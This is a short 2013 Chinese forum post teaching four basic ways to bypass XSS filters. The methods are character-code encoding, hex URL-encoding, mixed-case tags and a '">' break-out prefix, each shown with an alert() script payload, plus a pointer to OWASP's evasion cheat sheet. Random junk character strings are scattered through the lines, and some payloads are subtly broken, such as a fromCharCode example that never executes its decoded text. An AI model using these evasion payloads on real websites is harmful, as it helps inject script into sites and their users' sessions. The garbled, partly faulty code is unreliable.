找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1964|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
四种超级基础的绕过方法。( ^/ e7 N3 z, O) F
1.转换为ASCII码; S* J) |/ M  y" D8 I  ?
例子:原脚本为<script>alert(‘I love F4ck’)</script >  o; V1 \0 [9 k4 @: v. R
通过转换,变成:
: U. p* s3 j. N9 A0 I$ b; j" d<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>- K8 n. H- f. Y- ?1 M. q
  ?+ q3 B, |* k* \3 n& R3 z2 B
2.转换为HEX(十六进制). }- r% }3 m' A7 j7 X
例子:原脚本为<script>alert(‘I love F4ck’)</script>. R' k( A# C0 l
通过转换,变成:
2 _* d  P$ @' i/ P%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
5 r' `) W7 e- U5 R3 n
9 V/ l5 Z3 M/ B: d) q3.转换脚本的大小写% h) ?9 t. \, L6 \/ Y( v; ^
例子:原脚本为<script>alert(‘I love F4ck’)</script>+ h! [+ R  V' r; |: F
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>* ~! W0 V0 _2 x: ^7 \2 v6 P
: j4 w, d- E8 Q. ]+ E3 D4 D/ S8 _
4.增加闭合标记”>$ p- d+ F6 N+ E3 U2 Y
例子:原脚本为<script>alert(‘I love F4ck’)</script>
9 _7 ?, l2 i- Z( l转换为:”><script>alert(‘I love F4ck’)</script>
+ c: n4 ^' M0 k6 t. A  d8 V0 R更详细绕过技术请参考此网页/ s+ j0 u/ n# o3 @
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet9 w8 f2 j( v) _& F0 E
7 c$ [' B2 H/ z" b; J7 v( u
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表